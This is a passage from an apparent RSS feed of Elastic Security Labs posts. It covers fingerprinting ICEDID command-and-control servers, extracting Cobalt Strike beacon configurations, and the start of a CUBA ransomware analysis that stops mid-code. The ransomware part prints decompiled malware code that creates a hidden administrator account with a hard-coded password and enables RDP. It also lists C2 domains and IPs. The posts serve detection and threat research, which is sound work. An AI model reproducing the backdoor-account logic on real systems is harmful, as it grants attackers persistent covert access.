<p>When looking at the data from Censys, we also identified other fields that are useful in tracking TLS communications: <a href="https://github.com/salesforce/jarm">JARM</a> and <a href="https://github.com/salesforce/ja3">JA3S</a>, both TLS fingerprinting tools from the Salesforce team.</p>
<p>At a high-level, JARM fingerprints TLS servers by <em>actively</em> collecting specific elements of the TLS Server Hello responses. JA3S <em>passively</em> collects values from the TLS Server Hello message. JARM and JA3S are represented as a 62-character or 32-character fingerprint, respectively.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image16.png" alt="JARM and JA3S TLS fingerprints in Kibana" /></p>
<p>JARM and JA3S add additional data points that improve our confidence in connecting the ICEDID C2 infrastructure. In our research, we identified <strong>2ad2ad16d2ad2ad22c2ad2ad2ad2adc110bab2c0a19e5d4e587c17ce497b15</strong> as the JARM and <strong>e35df3e00ca4ef31d42b34bebaa2f86e</strong> as the JA3S fingerprints.</p>
<blockquote>
<p>It should be noted that JARM and JA3S are frequently not uncommon enough to convict a host by themselves. As an example, in the Censys dataset, the JARM fingerprint identified over 15k hosts, and the JA3S fingerprint identified over 3.3M hosts. Looking at the JARM and JA3S values together still had approximately 8k hosts. These are data points on the journey to an answer, not the answer itself.</p>
</blockquote>
<h3>ICEDID implant defense</h3>
<p>Before ICEDID communicates with its C2 server, it performs a TLS certificate check by comparing the certificate serial number with a hash of the certificate's public key. As certificate serial numbers should all be unique, ICEDID uses a self-signed certificate and an expected certificate serial number as a way to validate the TLS certificate. If the hash of the public key and serial number do not match, the communication with the C2 server does not proceed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image10.jpg" alt="ICEDID certificate validation function" /></p>
<p>We used the Check Point Python script (which returns a <strong>true</strong> or <strong>false</strong> result for each passed IP address) to perform an additional check to improve our confidence that the IP addresses were part of the ICEDID C2 infrastructure and not simply a coincidence in having the same subject and issuer information of the ICEDID TLS certifications. A <strong>true</strong> result has a matching ICEDID fingerprint and a <strong>false</strong> result does not. This resulted in 103 IPs that were confirmed as having an ICEDID TLS certificate and 10 that did not (as of October 14, 2022).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image5.jpg" alt="ICEDID TLS certificate confirmation" /></p>
<h3>Importing into Elasticsearch</h3>
<p>Now that we have a way to collect IPs based on the TLS certificate elements and a way to add additional context to aid in conviction; we can wrap the logic in a Bash script as a way to automate this process and parse the data for analysis in Elasticsearch.</p>
<pre><code>#!/bin/bash -eu

set -o pipefail

SEARCH='services.tls.certificates.leaf_data.subject_dn:&quot;CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd&quot; and services.tls.certificates.leaf_data.issuer_dn:&quot;CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd&quot; and services.port=443'

while read -r line; do
    _ts=$(date -u +%FT%TZ)
    _ip=$(echo ${line} | base64 -d | jq '.ip' -r)
    _port=$(echo ${line} | base64 -d | jq '.port' -r)
    _view=$(censys view &quot;${_ip}&quot; | jq -c)
    _is_icedid=$(python3 -c &quot;import icedid_checker; print(icedid_checker.test_is_icedid_c2('${_ip}','${_port}'))&quot;)

    echo &quot;${_view}&quot; | jq -S --arg is_icedid &quot;${_is_icedid}&quot; --arg timestamp &quot;${_ts}&quot; '. + {&quot;@timestamp&quot;: $timestamp, &quot;threat&quot;: {&quot;software&quot;: {&quot;icedid&quot;: {&quot;present&quot;: $is_icedid}}}}'
done &lt; &lt;(censys search --pages=-1 &quot;${SEARCH}&quot; | jq '.[] | {&quot;ip&quot;: .ip, &quot;port&quot;: (.services[] | select(.certificate?).port)} | @base64' -r) | tee icedid_infrastructure.ndjson
</code></pre>
<p>This outputs the data as an NDJSON document called <strong>icedid_infrastructure.ndjson</strong> that we can upload into Elasticsearch.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/image8.png" alt="Identified ICEDID IP infrastructure" /></p>
<p>In the above image, we can see that there are hosts that have the identified JARM fingerprint, the identified TLS issuer and subject elements, but did not pass the Check Point validation check. Additionally, one of the two hosts has a different JA3S fingerprint. This highlights the value of the combination of multiple data sources to inform confidence scoring.</p>
<p>We are also <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb86bffd1aef20c5b/6351aba34e565f1cdce29da5/icedid-checker.tar.gz">providing this script</a> for others to use.</p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<p>As stated above, ICEDID has been extensively analyzed, so below we are listing the tactics and techniques that we observed and are covered in this research publication. If you’re interested in the full set of MITRE ATT&amp;CK tactics and techniques, you can check out MITRE’s <a href="https://attack.mitre.org/software/S0483/">page</a> on ICEDID.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0043">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0042">Resource development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1069/">Permission Groups Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1087/">Account Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1087/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1518/">Software Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/">System Binary Proxy Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote System Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network Share Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/001">Phishing: Spearphishing attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
<h2>Detections and preventions</h2>
<h3>Detection logic</h3>
<ul>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/enumeration-of-administrator-accounts.html">Enumeration of Administrator Accounts</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/command-shell-activity-started-via-rundll32.html">Command Shell Activity Started via RunDLL32</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/security-software-discovery-using-wmic.html">Security Software Discovery using WMIC</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/suspicious-execution-from-a-mounted-device.html">Suspicious Execution from a Mounted Device</a></li>
<li><a href="https://www.elastic.co/pt/guide/en/security/current/windows-network-enumeration.html">Windows Network Enumeration</a></li>
</ul>
<h3>Preventions</h3>
<ul>
<li>Malicious Behavior Detection Alert: Command Shell Activity</li>
<li>Memory Threat Detection Alert: Shellcode Injection</li>
<li>Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32</li>
<li>Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process</li>
<li>Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments</li>
<li>Malicious Behavior Detection Alert: Windows Script Execution from Archive File</li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_IcedID.yar">YARA rules</a> to identify this activity. Below is a YARA rule specifically to identify the TLS certificate pinning function used by ICEDID.</p>
<pre><code>rule Windows_Trojan_IcedID_cert_pinning {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-10-17&quot;
        last_modified = &quot;2022-10-17&quot;
        threat_name = &quot;Windows.Trojan.IcedID&quot;
        arch_context = &quot;x86&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;
    strings:
		$cert_pinning = { 74 ?? 8B 50 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F BA F0 ?? 48 8B 51 ?? 48 8B 4A ?? 39 01 74 ?? 35 14 24 4A 38 39 01 74 ?? }
    condition:
        $cert_pinning
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid">https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid</a></li>
<li><a href="https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/">https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/</a></li>
<li><a href="https://attack.mitre.org/software/S0483/">https://attack.mitre.org/software/S0483/</a></li>
</ul>
<h2>Indicators</h2>
<p>The indicators observed in this research are posted below. All artifacts (to include those discovered through TLS certificate pinning) are also <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip">available for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>db91742b64c866df2fc7445a4879ec5fc256319e234b1ac5a25589455b2d9e32</td>
<td>SHA256</td>
<td>ICEDID malware</td>
</tr>
<tr>
<td>yolneanz[.]com</td>
<td>domain</td>
<td>ICEDID C2 domain</td>
</tr>
<tr>
<td>51.89.190[.]220</td>
<td>ipv4-addr</td>
<td>ICEDID C2 IP address</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/icedids-network-infrastructure-is-alive-and-well/blog-banner-network-graph-dots.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Extracting Cobalt Strike Beacon Configurations]]></title>
            <link>https://www.elastic.co/pt/security-labs/extracting-cobalt-strike-beacon-configurations</link>
            <guid>extracting-cobalt-strike-beacon-configurations</guid>
            <pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Part 2 - Extracting configurations from Cobalt Strike implant beacons.]]></description>
            <content:encoded><![CDATA[<p>Please check out our <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">previous post</a> on how to collect Cobalt Strike beacon implants. We'll build on that information to extract the configurations from the beacons.</p>
<p>In this post, we'll walk through manually analyzing a Cobalt Strike C2 configuration from a binary beacon payload using the excellent <a href="https://github.com/strozfriedberg/cobaltstrike-config-extractor">Cobalt Strike Configuration Extractor (CSCE)</a>. We'll also cover enabling some newer features of the Elastic Stack that will allow you to do this at scale across all your monitored endpoints, by extracting the beacons from memory.</p>
<blockquote>
<p>The team at Blackberry has a tremendous handbook called “<a href="https://www.blackberry.com/us/en/forms/enterprise/ebook-beacons-in-the-dark">Finding Beacons in the Dark</a>” (registration required) that dives extensively into Cobalt Strike beacon configurations. We’ll discuss a few fields in the configurations here, but if you’re interested in learning about how beacons function, we strongly recommend checking that resource out.</p>
</blockquote>
<h2>Cobalt Strike Configuration Extractor</h2>
<p>The <a href="https://github.com/strozfriedberg/cobaltstrike-config-extractor">Cobalt Strike Configuration Extractor (CSCE)</a> by Stroz Friedberg is a &quot;python library and set of scripts to extract and parse configurations from Cobalt Strike beacons&quot;.</p>
<p>To use the CSCE, we'll create a Python virtual environment, activate it, and install the CSCE Python package.</p>
<h2>Setting up the Cobalt Strike Configuration Extractor</h2>
<pre><code>$ python3 -m venv csce

$ source csce/bin/activate

(csce) $ pip3 install libcsce

...truncated...
Collecting libcsce
  Using cached libcsce-0.1.0-py3-none-any.whl (24 kB)
Collecting pefile&gt;=2019.4.18
...truncated...
</code></pre>
<p>Next, we can run the CSCE on the beacon payload we extracted from memory to see if there's any interesting information stored we can collect (we'll add the <code>--pretty</code> flag to make the output easier to read as a JSON document).</p>
<h2>Viewing the atomic indicators of the CS beacon configuration</h2>
<pre><code>(csce) $ csce --pretty beacon.exe

{
  &quot;beacontype&quot;: [
    &quot;HTTPS&quot;
  ],
  &quot;sleeptime&quot;: 45000,
  &quot;jitter&quot;: 37,
  &quot;maxgetsize&quot;: 1403644,
  &quot;spawnto&quot;: &quot;GNEtW6h/g4dQzm0dOkL5NA==&quot;,
  &quot;license_id&quot;: 334850267,
  &quot;cfg_caution&quot;: false,
  &quot;kill_date&quot;: &quot;2021-12-24&quot;,
  &quot;server&quot;: {
    &quot;hostname&quot;: &quot;clevelandclinic[.]cloud&quot;,
    &quot;port&quot;: 443,
    &quot;publickey&quot;: &quot;MIGfMA0GCSqGSIb3DQEBAQUAA4G...
...truncated...
</code></pre>
<p>Immediately, we can see that the beacon uses HTTPS to communicate and that the domain is <code>clevelandclinic[.]cloud</code>. This gives us an atomic indicator that we can do some analysis on. Looking at the <a href="https://www.cobaltstrike.com/help-malleable-c2">Malleable Command and Control documentation</a>, we can get a description of the configuration variables.</p>
<p>As an example, we can see that the <code>sleeptime</code> is <code>450000</code> milliseconds, which changes the default beacon check in from every 60-seconds to 450-seconds, or 7 ½ minutes. Additionally, we see a jitter of <code>37</code> meaning that there is a random jitter of 37% of <code>450000</code> milliseconds (<code>166,500</code> milliseconds), so the beacon check-in could be between <code>283,000</code> and <code>450,000</code> milliseconds (4.7 - 7.5 minutes).</p>
<p>Additionally, the <code>publickey</code> field is used by the Cobalt Strike Team Server to encrypt communications between the server and the beacon. This is different from normal TLS certificates used when accessing the C2 domain with a browser or data-transfer libraries, like <code>cURL</code>. This field is of note because the Team Server uses the same publickey for each beacon, so this field is valuable in clustering beacons with their perspective Team Server because threat actors often use the same Team Server for multiple campaigns, so this data from the configuration can be used to link threat actors to multiple campaigns and infrastructure.</p>
<p>Continuing to look at the configuration output, we can see another interesting section around the <code>process-inject</code> nested field, <code>stub</code>:</p>
<h2>Viewing the process-inject.stub field</h2>
<pre><code>(csce) $ csce --pretty beacon.exe

...truncated...
  &quot;process-inject&quot;: {
    &quot;allocator&quot;: &quot;NtMapViewOfSection&quot;,
    &quot;execute&quot;: [
      &quot;CreateThread 'ntdll!RtlUserThreadStart'&quot;,
      &quot;CreateThread&quot;,
      &quot;NtQueueApcThread-s&quot;,
      &quot;CreateRemoteThread&quot;,
      &quot;RtlCreateUserThread&quot;
    ],
    &quot;min_alloc&quot;: 17500,
    &quot;startrwx&quot;: false,
    &quot;stub&quot;: &quot;IiuPJ9vfuo3dVZ7son6mSA==&quot;,
    &quot;transform-x86&quot;: [
      &quot;prepend '\\x90\\x90'&quot;
    ],
...
</code></pre>
<p>The <code>stub</code> field contains the Base64 encoded MD5 file hash of the Cobalt Strike Java archive. To convert this, we can again use CyberChef, this time add the &quot;From Base64&quot; and &quot;To Hex&quot; <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)">recipes</a>, ensure you change the &quot;Delimiter&quot; to &quot;None&quot; in the &quot;To Hex&quot; recipe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/cyber-chef-md5.jpg" alt="" /></p>
<p>Now that we have the MD5 value of the Java archive (<code>222b8f27dbdfba8ddd559eeca27ea648</code>), we can check that against online databases like VirusTotal to get additional information, specifically, the SHA256 hash (<code>7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/cobaltstrike-jar-sha256.jpg" alt="" /></p>
<p>Finally, we can verify the SHA256 hash with CobaltStrike to identify the version of the Java archive by going to <a href="https://verify.cobaltstrike.com">https://verify.cobaltstrike.com</a> and searching for the hash.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/cobaltstrike-jar-version.jpg" alt="" /></p>
<p>Now we know that this beacon was created using a licensed version of Cobalt Strike 4.4.</p>
<p>Another field from the configuration that is helpful in clustering activity is the <code>license_id</code> field.</p>
<h2>Viewing Cobalt Strike watermark</h2>
<pre><code>...truncated
  &quot;spawnto&quot;: &quot;GNEtW6h/g4dQzm0dOkL5NA==&quot;,
  &quot;license_id&quot;: 334850267,
  &quot;cfg_caution&quot;: false,
...truncated...
</code></pre>
<p>This is commonly referred to as the Watermark and is a 9-digit value that is unique per license. While this value can be modified, it can still be used in conjunction with the <code>process-inject.stub</code> and <code>publickey</code> fields (discussed above) to cluster infrastructure and activity groups.</p>
<p>These are just a few fields that can be used to identify and cluster activities using configurations extracted from the Cobalt Strike beacon. If you're interested in a very in-depth analysis of the configuration, we recommend you check out the <a href="https://www.blackberry.com/us/en/forms/enterprise/ebook-beacons-in-the-dark">Finding Beacons in the Dark Cobalt Strike handbook by the team at Blackberry</a>.</p>
<h2>Putting Analysis to Action</h2>
<p>To test out our analyst playbook for collecting Cobalt Strike beacon payloads, their configurations, and metadata contained within; we can apply those to more data to identify clusters of activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/maltego.jpg" alt="" /></p>
<p>In the above illustration, we can cluster threat actors based on their shared uses of the beacon payload public key, which as we described above, is unique per Team Server. This would allow us to group multiple beacon payload hashes, infrastructure, and campaigns to a single Threat Actor.</p>
<p>As always, using the atomic indicators extracted from the beacon payload configurations (<code>clevelandclinic[.]cloud</code> in our example) allow you to identify additional shared infrastructure, target verticals, and threat actor capabilities.</p>
<h3>This time at full speed</h3>
<p>All of the steps that we've highlighted in this release, as well as the <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">previous release</a>, can be automated and written into Elasticsearch using the <a href="https://www.elastic.co/pt/security-labs/cobalt-strike-beacon-extractor">Cobalt Strike Beacon Extraction</a> project.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/cs-to-elasticsearch.jpg" alt="" /></p>
<h2>Summary</h2>
<p>In this post, we highlighted new features in the Elastic Stack that can be used to collect Cobalt Strike Malleable C2 beacon payloads. Additionally, we covered the processes to build Fleet policies to extract beacon payloads from memory and their configurations.</p>
<p>These Fleet policies and processes enable security analysts to collect Cobalt Strike beacon payloads and their configurations to identify threat actor controlled infrastructure and cluster activity.</p>
<h2>Artifacts</h2>
<p>Observable | Type | Note -------------------------------------------------------------------|-------------|------------------------------------------ <code>697fddfc5195828777622236f2b133c0a24a6d0dc539ae7da41798c4456a3f89</code> | SHA256 | Cobalt Strike Malleable C2 beacon payload <code>7475a6c08fa90e7af36fd7aa76be6e06b9e887bc0a6501914688a87a43ac7ac4</code> | SHA256 | Cobalt Strike Malleable C2 beacon payload <code>f9b38c422a89d73ebdab7c142c8920690ee3a746fc4eea9175d745183c946fc5</code> | SHA256 | Cobalt Strike Malleable C2 beacon payload <code>clevelandclinic[.]cloud</code> | domain-name | Cobalt Strike Malleable C2 domain <code>104[.]197[.]142[.]19</code> | ipv4-addr | Cobalt Strike Malleable C2 IP address <code>192[.]64[.]119[.]19</code> | ipv4-addr | Cobalt Strike Malleable C2 IP address</p>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9ba95a979c5a3026/628e88d904574953584774c8/extracting-cobalt-strike-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/extracting-cobalt-strike-beacon-configurations/photo-edited-03@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[CUBA Ransomware Campaign Analysis]]></title>
            <link>https://www.elastic.co/pt/security-labs/cuba-ransomware-campaign-analysis</link>
            <guid>cuba-ransomware-campaign-analysis</guid>
            <pubDate>Thu, 08 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security observed a ransomware and extortion campaign leveraging a combination of offensive security tools, LOLBAS, and exploits to deliver the CUBA ransomware malware.]]></description>
            <content:encoded><![CDATA[<h2>Key Takeaways</h2>
<ul>
<li>The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware</li>
<li>Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware</li>
<li>Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments</li>
<li>We are releasing a YARA signature and providing hunting queries that detect this ransomware family</li>
</ul>
<blockquote>
<p>For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/cuba-ransomware-malware-analysis">CUBA Malware Analysis</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/bughatch-malware-analysis">BUGHATCH Malware Analysis</a></li>
</ul>
</blockquote>
<h2>Preamble</h2>
<p>The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.</p>
<h2>Initial Access</h2>
<p>The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:</p>
<ul>
<li>An access broker</li>
<li>A remotely exploitable vulnerability</li>
</ul>
<p>While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.</p>
<h3>Access Broker</h3>
<p>As an introduction, an access broker is a threat group who, as they move through the <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">kill chain</a>, has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.</p>
<p>This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.</p>
<p>Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.</p>
<p>The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.</p>
<p>In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.</p>
<h3>Remotely Exploitable Vulnerability</h3>
<p>We observed the execution of the ProxyLogon exploit. <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware">&lt;u&gt;Previous research&lt;/u&gt;</a> has observed this threat group leveraging <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855">&lt;u&gt;ProxyLogon&lt;/u&gt;</a> and <a href="https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers">&lt;u&gt;ProxyShell&lt;/u&gt;</a> vulnerabilities to gain initial access.</p>
<pre><code>c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0
</code></pre>
<p>In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.</p>
<p>This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.</p>
<blockquote>
<p>While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Cobalt Strike series</a>, to extract the memory-resident binaries and shellcode.</p>
</blockquote>
<h2>Establish Foothold</h2>
<h3>afk.ttf</h3>
<p>This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.</p>
<p>The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.</p>
<p>Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image14-cuba-ransomware-elastic.png" alt="" /></p>
<p>The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, <a href="https://github.com/rapid7/metasploit-framework">Metasploit</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image16-cuba-ransomware-elastic.png" alt="" /></p>
<p>Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as <a href="https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/">Early Bird injection</a> and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image10-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio...truncated...).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image27-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.</p>
<h3>add2.exe</h3>
<p>The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/cuba-ransomware-campaign-analysis/image24-cuba-ransomware-elastic.png" alt="" /></p>
<p>The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to <a href="https://www.virustotal.com/gui/file/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da/detection">&lt;u&gt;find this file in VirusTotal&lt;/u&gt;</a> and pull it down for binary analysis.</p>
<pre><code>BOOL sub_4013B0()
{
  int v1;
  int v2;
  WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
  {
    wcscpy(username, L&quot;Mysql&quot;);
    qmemcpy(password, L&quot;KJaoifhLOaiwdhadx1@!&quot;, 0x2Au);
    if ( Add_user((int)username, (int)password) )
    {
      if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
      hide_accountName(username); SpecialAccounts\\UserList regkey
    }
  }
  return enable_RDP();
}
</code></pre>
<p>MARE determined that this executable performs several functions:</p>
<p>Enumerates local administrator and RDP groups.</p>
<pre><code> WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
</code></pre>
<p>Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).</p>
<pre><code>  wcscpy(username, L&quot;Mysql&quot;);
    qmemcpy(password, L&quot;KJaoifhLOaiwdhadx1@!&quot;, 0x2Au);
    if ( Add_user((int)username, (int)password) )
</code></pre>
<p>Adds this user to the previously enumerated local administrative and RDP groups.</p>
<pre><code> if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
